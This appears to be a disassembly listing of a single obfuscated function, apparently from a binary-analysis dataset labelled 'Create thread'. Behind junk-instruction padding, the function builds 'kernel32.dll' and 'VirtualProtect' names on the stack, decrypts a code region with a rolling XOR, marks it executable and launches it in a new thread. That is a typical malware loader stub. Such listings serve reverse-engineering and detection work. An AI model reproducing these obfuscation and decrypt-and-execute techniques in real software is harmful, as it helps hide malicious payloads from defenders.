Function at 0x104183f
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
pushfd
xor esi, 0xad9efd44
xor esi, 0xad9efd44
popfd
pushfd
xor edx, 0xc18cfda0
xor edx, 0xc18cfda0
popfd
call fcn.01041c73
pushfd
inc esi
dec esi
popfd
lea eax, [ebp - 0xd8]
pushfd
xor edx, 0x47e180a7
xor edx, 0x47e180a7
popfd
mov ebx, 0x61
xchg edi, eax
xchg edi, eax
pushfd
xor ecx, 0x1d78cf7d
xor ecx, 0x1d78cf7d
popfd
add bx, 0xa
push esi
pop esi
mov word [eax], bx
push ebx
pop ebx
sub bx, 6
mov edi, edi
mov word [eax + 2], bx
pushfd
inc edx
dec edx
popfd
mov ebx, ebx
add bx, 0xd
push ebx
push eax
pop eax
pop ebx
pushfd
xor ecx, 0x8215b6ce
xor ecx, 0x8215b6ce
popfd
mov word [eax + 4], bx
xchg ebx, esi
xchg esi, ebx
sub bx, 4
push eax
pop eax
mov word [eax + 6], bx
push edi
pop edi
sub bx, 9
pushfd
push 0xad331b26
add esp, 4
popfd
mov word [eax + 8], bx
xchg esi, esi
nop
add bx, 7
mov ecx, ecx
mov word [eax + 0xa], bx
xchg ebx, eax
xchg ebx, eax
sub bx, 0x39
pushfd
inc ecx
dec ecx
popfd
mov esi, esi
mov word [eax + 0xc], bx
xchg edx, edx
pushfd
xor ecx, 0xe0fff462
xor ecx, 0xe0fff462
popfd
dec bx
push edx
pop edx
mov word [eax + 0xe], bx
pushfd
xor ebx, 0x7cbb6821
xor ebx, 0x7cbb6821
popfd
pushfd
push edi
add esp, 4
popfd
sub bx, 4
mov ecx, ecx
pushfd
xor edx, 0xf1851173
xor edx, 0xf1851173
popfd
mov word [eax + 0x10], bx
push edx
pop edx
pushfd
xor ecx, 0x477319b5
xor ecx, 0x477319b5
popfd
add bx, 0x36
xchg esi, eax
xchg esi, eax
pushfd
push edx
add esp, 4
popfd
mov word [eax + 0x12], bx
xchg edx, ecx
xchg ecx, edx
pushfd
inc ecx
dec ecx
popfd
add bx, 8
pushfd
push 0xe9c81f71
add esp, 4
popfd
mov word [eax + 0x14], bx
push ecx
pop ecx
pushfd
inc ecx
dec ecx
popfd
mov word [eax + 0x16], bx
pushfd
push edx
add esp, 4
popfd
pushfd
inc eax
dec eax
popfd
mov word [eax + 0x18], 0
pushfd
push 0xba0ba4c9
add esp, 4
popfd
push eax
push ecx
pop ecx
pop eax
push eax
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
xchg ebx, ebx
push edx
push ebx
pop ebx
pop edx
mov dword [ebp - 0x10], eax
pushfd
inc ebx
dec ebx
popfd
xchg edi, ebx
xchg ebx, edi
lea eax, [ebp - 0xd8]
push ebx
pop ebx
xchg edi, edx
xchg edx, edi
mov ebx, 0x61
pushfd
push edi
add esp, 4
popfd
pushfd
push 0x5790bb66
add esp, 4
popfd
sub bl, 0xb
mov edi, edi
mov byte [eax], bl
push esi
pop esi
add bl, 0x13
push edx
push edi
pop edi
pop edx
mov byte [eax + 1], bl
xchg esi, eax
xchg esi, eax
pushfd
xor edx, 0x13639214
xor edx, 0x13639214
popfd
add bl, 9
push edi
pop edi
mov byte [eax + 2], bl
pushfd
push 0x2c95bab1
add esp, 4
popfd
xchg ebx, ebx
add bl, 2
push esi
pop esi
mov byte [eax + 3], bl
pushfd
push esi
add esp, 4
popfd
inc bl
pushfd
push edx
add esp, 4
popfd
push eax
pop eax
mov byte [eax + 4], bl
xchg edi, edi
sub bl, 0x14
xchg edi, esi
xchg esi, edi
mov byte [eax + 5], bl
pushfd
xor edi, 0xc2a10f1b
xor edi, 0xc2a10f1b
popfd
add bl, 0xb
pushfd
xor ebx, 0x8a701514
xor ebx, 0x8a701514
popfd
push eax
push edi
pop edi
pop eax
mov byte [eax + 6], bl
xchg edi, eax
xchg edi, eax
pushfd
push ebx
add esp, 4
popfd
sub bl, 0x1c
xchg edi, ebx
xchg ebx, edi
push ecx
push edi
pop edi
pop ecx
mov byte [eax + 7], bl
pushfd
inc esi
dec esi
popfd
pushfd
xor ebx, 0x58bea147
xor ebx, 0x58bea147
popfd
add bl, 0x22
pushfd
xor ebx, 0x1746ba14
xor ebx, 0x1746ba14
popfd
mov byte [eax + 8], bl
pushfd
inc edx
dec edx
popfd
pushfd
inc esi
dec esi
popfd
sub bl, 3
xchg edi, edi
mov byte [eax + 9], bl
xchg ecx, ecx
add bl, 5
push edx
push ebx
pop ebx
pop edx
mov byte [eax + 0xa], bl
pushfd
inc edi
dec edi
popfd
sub bl, 0xf
pushfd
push 0x2c546b02
add esp, 4
popfd
xchg esi, edi
xchg edi, esi
mov byte [eax + 0xb], bl
pushfd
inc ebx
dec ebx
popfd
push ecx
push edx
pop edx
pop ecx
sub bl, 2
pushfd
push 0xd8cdab5f
add esp, 4
popfd
mov byte [eax + 0xc], bl
push eax
pop eax
add bl, 0x11
push ebx
pop ebx
mov byte [eax + 0xd], bl
pushfd
xor ecx, 0xf3dafc9
xor ecx, 0xf3dafc9
popfd
mov byte [eax + 0xe], 0
mov ebx, ebx
pushfd
push 0x20f4f822
add esp, 4
popfd
push eax
push dword [ebp - 0x10]
call dword [sym.imp.kernel32.dll_GetProcAddress]
pushfd
xor eax, 0xac1830c1
xor eax, 0xac1830c1
popfd
mov dword [ebp - 0xc], eax
pushfd
push 0x1dbc157c
add esp, 4
popfd
pushfd
push ecx
add esp, 4
popfd
lea eax, [ebp - 8]
pushfd
xor ebx, 0xd2c4401e
xor ebx, 0xd2c4401e
popfd
push eax
push 4
push 0x82b021
push entry0
call dword [ebp - 0xc]
xchg edi, eax
xchg edi, eax
mov edi, entry0
push ebx
pop ebx
mov ecx, ecx
mov esi, 0x40100e
pushfd
push 0xd37866a7
add esp, 4
popfd
mov ecx, 0x82b021
xchg ecx, esi
xchg esi, ecx
mov edx, 0x11e33d95
pushfd
push edi
add esp, 4
popfd
pushfd
xor edi, 0x288ce119
xor edi, 0x288ce119
popfd
mov ebx, 0x6ed11b94
push ecx
push esi
pop esi
pop ecx
cld
xchg ebx, ebx
lodsb al, byte [esi]
nop
xor al, dl
xchg edi, edi
stosb byte es:[edi], al
mov edi, edi
ror edx, 5
nop
imul edx, edx, 7
nop
test ebx, 1
xchg edx, edx
je 0x1041bd1
xchg esi, esi
add esi, 1
mov edi, edi
ror ebx, 1
xchg edx, edx
dec ecx
mov ecx, ecx
test ecx, ecx
xchg edx, edx
jne 0x1041bad
pushfd
inc edi
dec edi
popfd
pushfd
xor edx, 0x1d8a3e49
xor edx, 0x1d8a3e49
popfd
lea eax, [ebp - 8]
pushfd
push ebx
add esp, 4
popfd
push eax
push 0x20
push 0x82b021
push entry0
call dword [ebp - 0xc]
pushfd
push eax
add esp, 4
popfd
lea eax, [ebp - 4]
push esi
push ebx
pop ebx
pop esi
push 0
push 0
push eax
push entry0
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
xchg edx, edx
xchg ebx, edi
xchg edi, ebx
pushfd
xor eax, 0x96eba2b4
xor eax, 0x96eba2b4
popfd
xchg ebx, edi
xchg edi, ebx
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
pushfd
inc edi
dec edi
popfd
xchg edx, edx
jmp 0x1041c30